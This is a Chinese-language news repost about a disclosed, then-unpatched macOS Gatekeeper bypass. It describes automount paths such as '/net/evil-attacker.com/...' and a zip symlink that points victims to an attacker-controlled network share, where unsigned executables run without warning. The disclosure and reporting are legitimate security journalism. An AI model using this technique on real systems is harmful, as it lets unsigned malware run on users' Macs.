研究人员揭露:MacOS 网关安全机制漏洞,面临黑客攻击威胁

本文由腾讯数码独家发布

最近,macOS被披露存在一些安全问题。此前,安全研究员Filippo Cavallarin公开了他所说的绕过macOS Gatekeeper安全机制的方法。不过,截至上周发布的macOS 10.14.5,苹果仍未解决这一问题。

Gatekeeper是一个款macOS安全工具,可以在应用程序下载后立即进行验证,防止在没有用户同意的情况下运行应用程序。当用户从Mac应用程序商店外部下载应用程序时,Gatekeeper可以用于检查代码是否已由苹果签名。如果代码没有被签名,应用程序则不会在没有用户直接许可的情况下打开并运行。

然而,最近Gatekeeper被披露可能存在漏洞。Cavallarin在他的博客中写道,Gatekeeper的安全功能可以完全绕过。当前的,Gatekeeper将外部驱动器和网络共享都视为“安全位置”。这意味着Gatekeeper允许安全位置中包含的任何应用程序运行,无需再次检查代码。Cavallarin接着解释说,用户很容易被误导安装网络共享驱动器,接着该文件夹中的任何内容都可以通过Gatekeeper。

安全研究员解释道:

第一个方法是automount(又名autofs,自动挂载外部存储设备的工具),它允许用户通过访问一个“特殊”路径(在本例中是以“/net/”开头的任何路径)来自动挂载网络共享。例如,' ls /net/evil-attacker.com/sharedfolder/'将使操作系统使用NFS读取远程主机(evil-attacker.com)上的' sharedfolder '的内容。

第二个方法是zip归档可以包含指向任意位置的符号链接(包括automount enpoints),并且MacOS上的软件在创建符号链接之前不会对这些符号链接进行检查。

接下来,为了更好地理解到底是如何绕过Gatekeeper的,让我们想象以下场景:攻击者创建一个zip文件,其中包含指向她/他控制的automount端点(ex Documents -> / net/evil.com/documents)的符号链接,并将其发送给被攻击者。被攻击者下载恶意文件,提取并遵循符号链接。

现在被攻击者处在一个被攻击者控制但被Gatekeeper信任的位置,因此任何攻击者控制的可执行文件都可以在没有警告的情况下运行。Finder的设计方式(例如隐藏app扩展名,隐藏标题栏完整路径)使其更难发现。

Cavallarin表示,他在2月22日将这一漏洞告知了苹果,苹果本应在上周发布macOS 10.14.5时解决这一问题。不过那次发布之后,这个漏洞仍然没有得到解决,Cavallarin说,苹果还没回复他的电子邮件。他今天选择公布这一漏洞,因为给苹果90天的窗口期已到。希望苹果可以积极解决这个问题吧。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20190527A079ZL00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券